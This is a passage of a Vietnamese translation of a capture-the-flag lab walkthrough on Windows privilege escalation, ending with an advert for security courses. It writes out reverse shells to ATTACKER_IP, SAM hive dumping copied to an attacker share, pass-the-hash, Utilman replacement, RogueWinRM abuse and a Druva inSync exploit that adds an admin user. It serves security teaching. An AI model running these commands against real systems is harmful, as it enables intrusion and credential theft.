user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe user@attackerpc$ nc -lvp 4447

Sau đó chúng ta sẽ chuyển tệp thực thi reverse shell đến máy mục tiêu và lưu trữ nó trong C:\Users\thm-unpriv\rev-svc3.exe. Hãy tự do sử dụng wget để chuyển tệp thực thi của bạn và di chuyển nó đến vị trí mong muốn. Nhớ cấp quyền cho Everyone để thực thi tải trọng của bạn:

C:> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Để thay đổi tệp thực thi liên kết và tài khoản của dịch vụ, chúng ta có thể sử dụng lệnh sau (chú ý dấu cách sau dấu bằng khi sử dụng sc.exe):

C:> sc config THMService binPath= “C:\Users\thm-unpriv\rev-svc3.exe” obj= LocalSystem

Lưu ý rằng chúng ta có thể sử dụng bất kỳ tài khoản nào để chạy dịch vụ. Chúng ta chọn LocalSystem vì nó là tài khoản có đặc quyền cao nhất có sẵn. Để kích hoạt tải trọng của chúng ta, tất cả những gì còn lại là khởi động lại dịch vụ:

C:> sc stop THMService C:> sc start THMService

Và chúng ta sẽ nhận được một shell trở lại máy tấn công của chúng ta với đặc quyền SYSTEM:

user@attackerpc$ nc -lvp 4447 Listening on 0.0.0.0 4447 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami NT AUTHORITY\SYSTEM

Đi đến desktop của Administrator để lấy một flag. Đừng quên nhập flag vào cuối nhiệm vụ này.

Lạm dụng các đặc quyền nguy hiểm

Đặc quyền Windows

Đặc quyền là quyền mà một tài khoản có để thực hiện các tác vụ liên quan đến hệ thống cụ thể. Những tác vụ này có thể đơn giản như đặc quyền để tắt máy cho đến các đặc quyền để bỏ qua một số kiểm soát truy cập dựa trên DACL.

Mỗi người dùng có một tập hợp các đặc quyền được gán có thể được kiểm tra bằng lệnh sau:

whoami /priv

Một danh sách đầy đủ các đặc quyền có sẵn trên hệ thống Windows có sẵn tại đây. Từ quan điểm của kẻ tấn công, chỉ những đặc quyền cho phép chúng ta leo thang trong hệ thống mới đáng quan tâm. Bạn có thể tìm thấy một danh sách toàn diện các đặc quyền có thể khai thác trên dự án Github Priv2Admin.

Mặc dù chúng ta sẽ không xem xét từng đặc quyền, chúng ta sẽ trình bày cách lạm dụng một số đặc quyền phổ biến nhất mà bạn có thể tìm thấy.

SeBackup / SeRestore

Các đặc quyền SeBackup và SeRestore cho phép người dùng đọc và ghi vào bất kỳ tệp nào trong hệ thống, bỏ qua bất kỳ DACL nào đang có. Ý tưởng đằng sau đặc quyền này là cho phép một số người dùng nhất định thực hiện sao lưu từ một hệ thống mà không cần đặc quyền quản trị đầy đủ.

Với quyền lực này, kẻ tấn công có thể dễ dàng leo thang đặc quyền trên hệ thống bằng cách sử dụng nhiều kỹ thuật. Kỹ thuật mà chúng ta sẽ xem xét bao gồm việc sao chép các hive registry SAM và SYSTEM để trích xuất hash mật khẩu của Quản trị viên cục bộ.

Đăng nhập vào máy mục tiêu qua RDP sử dụng thông tin đăng nhập sau:

Người dùng: THMBackup Mật khẩu: CopyMaster555

Tài khoản này là một phần của nhóm “Backup Operators”, theo mặc định được cấp các đặc quyền SeBackup và SeRestore. Chúng ta sẽ cần mở một cửa sổ lệnh sử dụng tùy chọn “Run as administrator” để sử dụng các đặc quyền này. Chúng ta sẽ được yêu cầu nhập lại mật khẩu để có được một console nâng cao:

[Hình ảnh về cửa sổ lệnh được mở với quyền quản trị]

Một khi đã ở trong cửa sổ lệnh, chúng ta có thể kiểm tra các đặc quyền của mình với lệnh sau:

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Để sao lưu các hive SAM và SYSTEM, chúng ta có thể sử dụng các lệnh sau:

C:> reg save hklm\system C:\Users\THMBackup\system.hive The operation completed successfully.

C:> reg save hklm\sam C:\Users\THMBackup\sam.hive The operation completed successfully.

Điều này sẽ tạo ra một cặp tệp với nội dung của các hive registry. Bây giờ chúng ta có thể sao chép các tệp này vào máy tấn công của chúng ta sử dụng SMB hoặc bất kỳ phương pháp có sẵn nào khác. Đối với SMB, chúng ta có thể sử dụng smbserver.py của impacket để bắt đầu một máy chủ SMB đơn giản với một chia sẻ mạng trong thư mục hiện tại của AttackBox của chúng ta:

user@attackerpc$ mkdir share user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

Điều này sẽ tạo một chia sẻ có tên public trỏ đến thư mục share, yêu cầu tên người dùng và mật khẩu của phiên Windows hiện tại của chúng ta. Sau đó, chúng ta có thể sử dụng lệnh copy trong máy Windows của chúng ta để chuyển cả hai tệp đến AttackBox của chúng ta:

C:> copy C:\Users\THMBackup\sam.hive \ATTACKER_IP\public
C:> copy C:\Users\THMBackup\system.hive \ATTACKER_IP\public\

Và sử dụng impacket để truy xuất các hash mật khẩu của người dùng:

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 – Copyright 2021 SecureAuth Corporation

[] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Cuối cùng, chúng ta có thể sử dụng hash của Quản trị viên để thực hiện một cuộc tấn công Pass-the-Hash và có quyền truy cập vào máy mục tiêu với đặc quyền SYSTEM:

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP Impacket v0.9.24.dev1+20210704.162046.29ad5792 – Copyright 2021 SecureAuth Corporation

[] Requesting shares on 10.10.175.90….. [] Found writable share ADMIN$ [] Uploading file nfhtabqO.exe [] Opening SVCManager on 10.10.175.90….. [] Creating service RoLE on 10.10.175.90….. [] Starting service RoLE….. [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami nt authority\system

SeTakeOwnership

Đặc quyền SeTakeOwnership cho phép một người dùng lấy quyền sở hữu của bất kỳ đối tượng nào trên hệ thống, bao gồm cả tệp và khóa registry, mở ra nhiều khả năng cho kẻ tấn công để leo thang đặc quyền, vì chúng ta có thể, ví dụ, tìm kiếm một dịch vụ đang chạy dưới quyền SYSTEM và lấy quyền sở hữu của tệp thực thi của dịch vụ đó. Tuy nhiên, trong nhiệm vụ này, chúng ta sẽ đi theo một hướng khác.

Đăng nhập vào máy mục tiêu qua RDP sử dụng thông tin đăng nhập sau:

Người dùng: THMTakeOwnership Mật khẩu: TheWorldIsMine2022

Để có được đặc quyền SeTakeOwnership, chúng ta cần mở một cửa sổ lệnh sử dụng tùy chọn “Run as administrator”. Chúng ta sẽ được yêu cầu nhập mật khẩu của mình để có được một console nâng cao:

[Hình ảnh về cửa sổ lệnh được mở với quyền quản trị]

Một khi đã ở trong cửa sổ lệnh, chúng ta có thể kiểm tra các đặc quyền của mình với lệnh sau:

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Chúng ta sẽ lạm dụng utilman.exe để leo thang đặc quyền lần này. Utilman là một ứng dụng tích hợp sẵn của Windows được sử dụng để cung cấp các tùy chọn Trợ năng trong màn hình khóa:

[Hình ảnh về Utilman trong màn hình khóa Windows]

Vì Utilman được chạy với đặc quyền SYSTEM, chúng ta sẽ có hiệu quả đạt được đặc quyền SYSTEM nếu chúng ta thay thế tệp nhị phân gốc bằng bất kỳ tải trọng nào chúng ta muốn. Vì chúng ta có thể lấy quyền sở hữu của bất kỳ tệp nào, việc thay thế nó là điều dễ dàng.

Để thay thế utilman, chúng ta sẽ bắt đầu bằng cách lấy quyền sở hữu của nó với lệnh sau:

C:> takeown /f C:\Windows\System32\Utilman.exe SUCCESS: The file (or folder): “C:\Windows\System32\Utilman.exe” now owned by user “WINPRIVESC2\thmtakeownership”.

Lưu ý rằng việc sở hữu một tệp không nhất thiết có nghĩa là bạn có đặc quyền đối với nó, nhưng khi là chủ sở hữu, bạn có thể tự gán cho mình bất kỳ đặc quyền nào bạn cần. Để cấp cho người dùng của bạn quyền truy cập đầy đủ vào utilman.exe, bạn có thể sử dụng lệnh sau:

C:> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F processed file: Utilman.exe Successfully processed 1 files; Failed processing 0 files

Sau đó, chúng ta sẽ thay thế utilman.exe bằng một bản sao của cmd.exe:

C:\Windows\System32> copy cmd.exe utilman.exe 1 file(s) copied.

Để kích hoạt utilman, chúng ta sẽ khóa màn hình từ nút Start:

[Hình ảnh về nút Lock trên menu Start]

Và cuối cùng, tiến hành nhấp vào nút “Ease of Access”, nút này chạy utilman.exe với đặc quyền SYSTEM. Vì chúng ta đã thay thế nó bằng một bản sao của cmd.exe, chúng ta sẽ nhận được một cửa sổ lệnh với đặc quyền SYSTEM:

[Hình ảnh về cửa sổ lệnh chạy với quyền SYSTEM]

SeImpersonate / SeAssignPrimaryToken

Các đặc quyền này cho phép một quá trình mạo danh các người dùng khác và hành động thay mặt họ. Mạo danh thường bao gồm khả năng tạo ra một quá trình hoặc luồng dưới bối cảnh bảo mật của một người dùng khác.

Mạo danh dễ hiểu khi bạn nghĩ về cách một máy chủ FTP hoạt động. Máy chủ FTP phải hạn chế người dùng chỉ truy cập các tệp mà họ được phép xem.

Giả sử chúng ta có một dịch vụ FTP đang chạy với người dùng ftp. Không có mạo danh, nếu người dùng Ann đăng nhập vào máy chủ FTP và cố gắng truy cập các tệp của cô ấy, dịch vụ FTP sẽ cố gắng truy cập chúng với token truy cập của nó thay vì của Ann:

[Hình ảnh minh họa truy cập FTP không có mạo danh]

Có một số lý do tại sao việc sử dụng token của ftp không phải là ý tưởng tốt nhất:

  • Để các tệp được phục vụ chính xác, chúng cần phải có thể truy cập được bởi người dùng ftp. Trong ví dụ trên, dịch vụ FTP sẽ có thể truy cập các tệp của Ann, nhưng không phải tệp của Bill, vì DACL trong tệp của Bill không cho phép người dùng ftp. Điều này thêm độ phức tạp vì chúng ta phải cấu hình thủ công quyền truy cập cụ thể cho từng tệp/thư mục được phục vụ.
  • Đối với hệ điều hành, tất cả các tệp đều được truy cập bởi người dùng ftp, độc lập với việc người dùng nào hiện đang đăng nhập vào dịch vụ FTP. Điều này làm cho không thể ủy quyền việc cấp quyền cho hệ điều hành; do đó, dịch vụ FTP phải thực hiện nó.
  • Nếu dịch vụ FTP bị xâm phạm tại một số điểm, kẻ tấn công sẽ ngay lập tức có quyền truy cập vào tất cả các thư mục mà người dùng ftp có quyền truy cập.

Mặt khác, nếu người dùng của dịch vụ FTP có đặc quyền SeImpersonate hoặc SeAssignPrimaryToken, tất cả điều này được đơn giản hóa một chút, vì dịch vụ FTP có thể tạm thời lấy token truy cập của người dùng đang đăng nhập và sử dụng nó để thực hiện bất kỳ tác vụ nào thay mặt họ:

[Hình ảnh minh họa truy cập FTP với mạo danh]

Bây giờ, nếu người dùng Ann đăng nhập vào dịch vụ FTP và với điều kiện người dùng ftp có đặc quyền mạo danh, nó có thể mượn token truy cập của Ann và sử dụng nó để truy cập các tệp của cô ấy. Bằng cách này, các tệp không cần cung cấp quyền truy cập cho người dùng ftp theo bất kỳ cách nào, và hệ điều hành xử lý việc cấp quyền. Vì dịch vụ FTP đang mạo danh Ann, nó sẽ không thể truy cập tệp của Jude hoặc Bill trong phiên đó.

Là kẻ tấn công, nếu chúng ta quản lý để kiểm soát một quá trình với đặc quyền SeImpersonate hoặc SeAssignPrimaryToken, chúng ta có thể mạo danh bất kỳ người dùng nào kết nối và xác thực với quá trình đó.

Trong các hệ thống Windows, bạn sẽ thấy rằng các tài khoản LOCAL SERVICE và NETWORK SERVICE đã có sẵn các đặc quyền như vậy. Vì các tài khoản này được sử dụng để tạo ra các dịch vụ sử dụng tài khoản hạn chế, nó có ý nghĩa để cho phép chúng mạo danh người dùng kết nối nếu dịch vụ cần.

Để leo thang đặc quyền sử dụng các tài khoản như vậy, kẻ tấn công cần những điều sau:

  1. Tạo ra một quá trình để người dùng có thể kết nối và xác thực với nó để mạo danh xảy ra.
  2. Tìm cách buộc người dùng có đặc quyền kết nối và xác thực với quá trình độc hại đã tạo.

Chúng ta sẽ sử dụng khai thác RogueWinRM để hoàn thành cả hai điều kiện.

Hãy bắt đầu bằng cách giả định rằng chúng ta đã xâm nhập vào một trang web đang chạy trên IIS và chúng ta đã cài đặt một web shell trên địa chỉ sau:

http://MACHINE_IP/

Chúng ta có thể sử dụng web shell để kiểm tra các đặc quyền được gán cho tài khoản bị xâm phạm và xác nhận rằng chúng ta có cả hai đặc quyền quan tâm cho nhiệm vụ này:

[Hình ảnh về kết quả kiểm tra đặc quyền]

Để sử dụng RogueWinRM, trước tiên chúng ta cần tải lên khai thác lên máy mục tiêu. Để thuận tiện cho bạn, điều này đã được thực hiện, và bạn có thể tìm thấy khai thác trong thư mục C:\tools.

Khai thác RogueWinRM có thể thực hiện được vì bất cứ khi nào một người dùng (kể cả người dùng không có đặc quyền) bắt đầu dịch vụ BITS trong Windows, nó tự động tạo một kết nối đến cổng 5985 sử dụng đặc quyền SYSTEM. Cổng 5985 thường được sử dụng cho dịch vụ WinRM, đơn giản là một cổng để hiển thị console Powershell để sử dụng từ xa thông qua mạng. Hãy nghĩ về nó như SSH, nhưng sử dụng Powershell.

Nếu vì lý do nào đó, dịch vụ WinRM không chạy trên máy chủ nạn nhân, kẻ tấn công có thể bắt đầu một dịch vụ WinRM giả trên cổng 5985 và bắt được nỗ lực xác thực được thực hiện bởi dịch vụ BITS khi khởi động. Nếu kẻ tấn công có đặc quyền SeImpersonate, họ có thể thực thi bất kỳ lệnh nào thay mặt cho người dùng kết nối, đó là SYSTEM.

Trước khi chạy khai thác, chúng ta sẽ bắt đầu một listener netcat để nhận reverse shell trên máy tấn công của chúng ta:

user@attackerpc$ nc -lvp 4442

Và sau đó, sử dụng web shell của chúng ta để kích hoạt khai thác RogueWinRM sử dụng lệnh sau:

c:\tools\RogueWinRM\RogueWinRM.exe -p “C:\tools\nc64.exe” -a “-e cmd.exe ATTACKER_IP 4442”

Lưu ý: Khai thác có thể mất đến 2 phút để hoạt động, vì vậy trình duyệt của bạn có thể xuất hiện không phản hồi trong một lúc. Điều này xảy ra nếu bạn chạy khai thác nhiều lần vì nó phải đợi dịch vụ BITS dừng lại trước khi bắt đầu lại. Dịch vụ BITS sẽ tự động dừng sau 2 phút kể từ khi bắt đầu.

Tham số -p chỉ định tệp thực thi được chạy bởi khai thác, trong trường hợp này là nc64.exe. Tham số -a được sử dụng để truyền đối số cho tệp thực thi. Vì chúng ta muốn nc64 thiết lập một reverse shell chống lại máy tấn công của chúng ta, các đối số để truyền cho netcat sẽ là -e cmd.exe ATTACKER_IP 4442.

Nếu tất cả được thiết lập đúng, bạn nên mong đợi một shell với đặc quyền SYSTEM:

user@attackerpc$ nc -lvp 4442 Listening on 0.0.0.0 4442 Connection received on 10.10.175.90 49755 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami nt authority\system

Sử dụng bất kỳ phương pháp nào trong ba phương pháp đã thảo luận trong nhiệm vụ này, hãy truy cập vào desktop của Quản trị viên và thu thập flag. Đừng quên nhập flag vào cuối nhiệm vụ này.

Lạm dụng phần mềm dễ bị tổn thương

Đảm bảo nhấp vào nút Start Machine trước khi tiếp tục, nút này sẽ triển khai máy mục tiêu trong chế độ xem chia đôi. Nếu bạn muốn kết nối với máy qua RDP, bạn có thể sử dụng thông tin đăng nhập sau:

Username: thm-unpriv Password: Password321

Phần mềm chưa được vá

Phần mềm được cài đặt trên hệ thống mục tiêu có thể tạo ra nhiều cơ hội leo thang đặc quyền khác nhau. Cũng như với các trình điều khiển, các tổ chức và người dùng có thể không cập nhật chúng thường xuyên như họ cập nhật hệ điều hành. Bạn có thể sử dụng công cụ wmic để liệt kê phần mềm được cài đặt trên hệ thống mục tiêu và phiên bản của chúng. Lệnh dưới đây sẽ hiển thị thông tin về phần mềm đã cài đặt (có thể mất khoảng một phút để hoàn thành):

wmic product get name,version,vendor

Hãy nhớ rằng lệnh wmic product có thể không trả về tất cả các chương trình đã cài đặt. Tùy thuộc vào cách một số chương trình được cài đặt, chúng có thể không được liệt kê ở đây. Luôn đáng để kiểm tra các shortcut trên desktop, các dịch vụ có sẵn hoặc nói chung bất kỳ dấu vết nào cho thấy sự tồn tại của phần mềm bổ sung có thể dễ bị tổn thương.

Khi chúng ta đã thu thập thông tin về phiên bản sản phẩm, chúng ta luôn có thể tìm kiếm các lỗ hổng đã biết trên phần mềm đã cài đặt trực tuyến trên các trang web như exploit-db, packet storm hoặc Google thông thường, trong số nhiều trang khác.

Sử dụng wmic và Google, bạn có thể tìm thấy lỗ hổng đã biết trên bất kỳ sản phẩm nào đã cài đặt không?

Nghiên cứu tình huống: Druva inSync 6.6.3

Máy chủ mục tiêu đang chạy Druva inSync 6.6.3, dễ bị leo thang đặc quyền như được báo cáo bởi Matteo Malvica. Lỗ hổng này là kết quả của một bản vá không tốt được áp dụng cho một lỗ hổng khác được báo cáo ban đầu cho phiên bản 6.5.0 bởi Chris Lyne.

Phần mềm này dễ bị tấn công vì nó chạy một máy chủ RPC (Remote Procedure Call) trên cổng 6064 với đặc quyền SYSTEM, chỉ có thể truy cập từ localhost. Nếu bạn không quen thuộc với RPC, nó chỉ đơn giản là một cơ chế cho phép một quy trình nhất định hiển thị các hàm (được gọi là thủ tục trong thuật ngữ RPC) qua mạng để các máy khác có thể gọi chúng từ xa.

Trong trường hợp của Druva inSync, một trong những thủ tục được hiển thị (cụ thể là thủ tục số 5) trên cổng 6064 cho phép bất kỳ ai yêu cầu thực thi bất kỳ lệnh nào. Vì máy chủ RPC chạy dưới quyền SYSTEM, bất kỳ lệnh nào cũng được thực thi với đặc quyền SYSTEM.

Lỗ hổng ban đầu được báo cáo trên các phiên bản 6.5.0 và trước đó cho phép thực thi bất kỳ lệnh nào mà không có hạn chế. Ý tưởng ban đầu đằng sau việc cung cấp chức năng như vậy là để thực thi từ xa một số tệp nhị phân cụ thể được cung cấp với inSync, thay vì bất kỳ lệnh nào. Tuy nhiên, không có kiểm tra nào được thực hiện để đảm bảo điều đó.

Một bản vá đã được phát hành, trong đó họ quyết định kiểm tra xem lệnh được thực thi có bắt đầu bằng chuỗi C:\ProgramData\Druva\inSync4\ hay không, nơi các tệp nhị phân được phép được cho là ở đó. Nhưng sau đó, điều này được chứng minh là không đủ vì bạn có thể đơn giản thực hiện một cuộc tấn công path traversal để bỏ qua loại kiểm soát này. Giả sử bạn muốn thực thi C:\Windows\System32\cmd.exe, không nằm trong đường dẫn được phép; bạn có thể đơn giản yêu cầu máy chủ chạy C:\ProgramData\Druva\inSync4……\Windows\System32\cmd.exe và điều đó sẽ bỏ qua kiểm tra thành công.

Để tạo ra một khai thác hoạt động, chúng ta cần hiểu cách nói chuyện với cổng 6064. May mắn thay, giao thức được sử dụng rất đơn giản, và các gói tin cần được gửi được mô tả trong sơ đồ sau:

[Hình ảnh mô tả các gói tin cần gửi]

Gói tin đầu tiên đơn giản là một gói tin chào hỏi chứa một chuỗi cố định. Gói tin thứ hai cho biết rằng chúng ta muốn thực thi thủ tục số 5, vì đây là thủ tục dễ bị tổn thương sẽ thực thi bất kỳ lệnh nào cho chúng ta. Hai gói tin cuối cùng được sử dụng để gửi độ dài của lệnh và chuỗi lệnh cần được thực thi, tương ứng.

Ban đầu được công bố bởi Matteo Malvica tại đây, khai thác sau đây có thể được sử dụng trên máy mục tiêu của bạn để leo thang đặc quyền và lấy flag của nhiệm vụ này. Để thuận tiện cho bạn, đây là mã của khai thác gốc:

[Mã khai thác Druva inSync]

Bạn có thể mở một console Powershell và dán trực tiếp khai thác để thực thi nó (Khai thác cũng có sẵn trong máy mục tiêu tại C:\tools\Druva_inSync_exploit.txt). Lưu ý rằng tải trọng mặc định của khai thác, được chỉ định trong biến $cmd, sẽ tạo một người dùng có tên pwnd trong hệ thống, nhưng sẽ không gán cho anh ta đặc quyền quản trị, vì vậy chúng ta có thể muốn thay đổi tải trọng thành một cái gì đó hữu ích hơn. Đối với phòng này, chúng ta sẽ thay đổi tải trọng để chạy lệnh sau:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

Điều này sẽ tạo người dùng pwnd với mật khẩu SimplePass123 và thêm anh ta vào nhóm administrators. Nếu khai thác thành công, bạn nên có thể chạy lệnh sau để xác minh rằng người dùng pwnd tồn tại và là một phần của nhóm administrators:

PS C:> net user pwnd User name pwnd Full Name Account active Yes […] Local Group Memberships *Administrators *Users Global Group memberships *None

Như một bước cuối cùng, bạn có thể chạy một cửa sổ lệnh với quyền quản trị viên:

[Hình ảnh về cách chạy cmd với quyền quản trị]

Khi được nhắc nhập thông tin đăng nhập, sử dụng tài khoản pwnd. Từ cửa sổ lệnh mới, bạn có thể lấy flag từ desktop của Administrator với lệnh sau: type C:\Users\Administrator\Desktop\flag.txt.

Công cụ của Nghề

Có một số script tồn tại để tiến hành liệt kê hệ thống theo cách tương tự như những gì chúng ta đã thấy trong nhiệm vụ trước. Những công cụ này có thể rút ngắn thời gian quá trình liệt kê và phát hiện các vectơ leo thang đặc quyền khác nhau. Tuy nhiên, xin nhớ rằng các công cụ tự động đôi khi có thể bỏ lỡ việc leo thang đặc quyền.

Dưới đây là một số công cụ thường được sử dụng để xác định các vectơ leo thang đặc quyền. Hãy tự do chạy chúng trên bất kỳ máy nào trong phòng này và xem liệu kết quả có phù hợp với các vectơ tấn công đã thảo luận hay không.

WinPEAS

WinPEAS là một script được phát triển để liệt kê hệ thống mục tiêu để phát hiện các đường dẫn leo thang đặc quyền. Bạn có thể tìm thêm thông tin về winPEAS và tải xuống tệp thực thi đã biên dịch sẵn hoặc script .bat. WinPEAS sẽ chạy các lệnh tương tự như những lệnh được liệt kê trong nhiệm vụ trước và in kết quả của chúng. Kết quả từ winPEAS có thể dài và đôi khi khó đọc. Vì vậy, sẽ là một thực hành tốt nếu luôn chuyển hướng đầu ra vào một tệp, như được hiển thị bên dưới:

C:> winpeas.exe > outputfile.txt

WinPEAS có thể được tải xuống tại đây.

PrivescCheck

PrivescCheck là một script PowerShell tìm kiếm các đường leo thang đặc quyền phổ biến trên hệ thống mục tiêu. Nó cung cấp một lựa chọn thay thế cho WinPEAS mà không cần thực thi một tệp nhị phân.

PrivescCheck có thể được tải xuống tại đây.

Nhắc nhở: Để chạy PrivescCheck trên hệ thống mục tiêu, bạn có thể cần phải bỏ qua các hạn chế chính sách thực thi. Để đạt được điều này, bạn có thể sử dụng cmdlet Set-ExecutionPolicy như được hiển thị bên dưới.

PS C:> Set-ExecutionPolicy Bypass -Scope process -Force PS C:> . .\PrivescCheck.ps1 PS C:> Invoke-PrivescCheck

WES-NG: Windows Exploit Suggester – Next Generation

Một số script đề xuất khai thác (ví dụ: winPEAS) sẽ yêu cầu bạn tải chúng lên hệ thống mục tiêu và chạy chúng ở đó. Điều này có thể khiến phần mềm chống virus phát hiện và xóa chúng. Để tránh tạo ra tiếng ồn không cần thiết có thể thu hút sự chú ý, bạn có thể muốn sử dụng WES-NG, sẽ chạy trên máy tấn công của bạn (ví dụ: Kali hoặc TryHackMe AttackBox).

WES-NG là một script Python có thể được tìm thấy và tải xuống tại đây.

Sau khi cài đặt, và trước khi sử dụng nó, hãy nhập lệnh wes.py –update để cập nhật cơ sở dữ liệu. Script sẽ tham khảo cơ sở dữ liệu mà nó tạo ra để kiểm tra các bản vá thiếu có thể dẫn đến lỗ hổng mà bạn có thể sử dụng để leo thang đặc quyền trên hệ thống mục tiêu.

Để sử dụng script, bạn sẽ cần chạy lệnh systeminfo trên hệ thống mục tiêu. Đừng quên chuyển hướng đầu ra vào một tệp .txt mà bạn sẽ cần di chuyển đến máy tấn công của bạn.

Khi điều này được thực hiện, wes.py có thể được chạy như sau:

user@kali$ wes.py systeminfo.txt

Metasploit

Nếu bạn đã có một shell Meterpreter trên hệ thống mục tiêu, bạn có thể sử dụng mô-đun multi/recon/local_exploit_suggester để liệt kê các lỗ hổng có thể ảnh hưởng đến hệ thống mục tiêu và cho phép bạn leo thang đặc quyền trên hệ thống mục tiêu.

Kết luận

Trong phòng học này, chúng ta đã giới thiệu một số kỹ thuật leo thang đặc quyền có sẵn trong các hệ thống Windows. Những kỹ thuật này nên cung cấp cho bạn một nền tảng vững chắc về các con đường phổ biến nhất mà kẻ tấn công có thể sử dụng để leo thang đặc quyền trên một hệ thống. Nếu bạn quan tâm đến việc tìm hiểu thêm về các kỹ thuật bổ sung, các nguồn tài liệu sau đây có sẵn:

  • PayloadsAllTheThings – Windows Privilege Escalation
  • Priv2Admin – Abusing Windows Privileges
  • RogueWinRM Exploit
  • Potatoes
  • Decoder’s Blog
  • Token Kidnapping
  • Hacktricks – Windows Local Privilege Escalation

Sau khi đọc kỹ phần lý thuyết và hướng dẫn tổng quát các bạn hãy truy cậ phòng và thực hành : https://tryhackme.com/r/room/windowsprivesc20

CEH VIETNAM tự hào cung cấp các khóa học chứng chỉ an ninh mạng hàng đầu, bao gồm:

  1. CEH v12 (Certified Ethical Hacker version 12): Khóa học đào tạo kỹ năng hacking đạo đức chuyên nghiệp, cập nhật những kỹ thuật tấn công và phòng thủ mới nhất.
  2. CHFI v10 và v11 (Computer Hacking Forensic Investigator): Đào tạo chuyên sâu về điều tra số, phân tích malware và thu thập chứng cứ số.
  3. CPENT (Certified Penetration Testing Professional): Khóa học nâng cao về kiểm thử xâm nhập, tập trung vào các kỹ thuật tấn công phức tạp.
  4. LPT (Licensed Penetration Tester): Chứng chỉ cao cấp nhất của EC-Council, đào tạo các chuyên gia kiểm thử xâm nhập hàng đầu.

Các khóa học tại CEH VIETNAM được thiết kế với nội dung cập nhật, kết hợp lý thuyết và thực hành, giúp học viên nắm vững kiến thức và kỹ năng thực tế. Với đội ngũ giảng viên giàu kinh nghiệm, cơ sở vật chất hiện đại, CEH VIETNAM đã và đang đào tạo ra nhiều chuyên gia an ninh mạng chất lượng cao, đáp ứng nhu cầu ngày càng tăng của thị trường.

Hãy đăng ký ngay hôm nay để bắt đầu hành trình trở thành chuyên gia an ninh mạng chuyên nghiệp cùng CEH VIETNAM!

Liên hệ

Zalo 0914433338 – Zalo 0948432780

Bình luận về bài viết này

Thịnh hành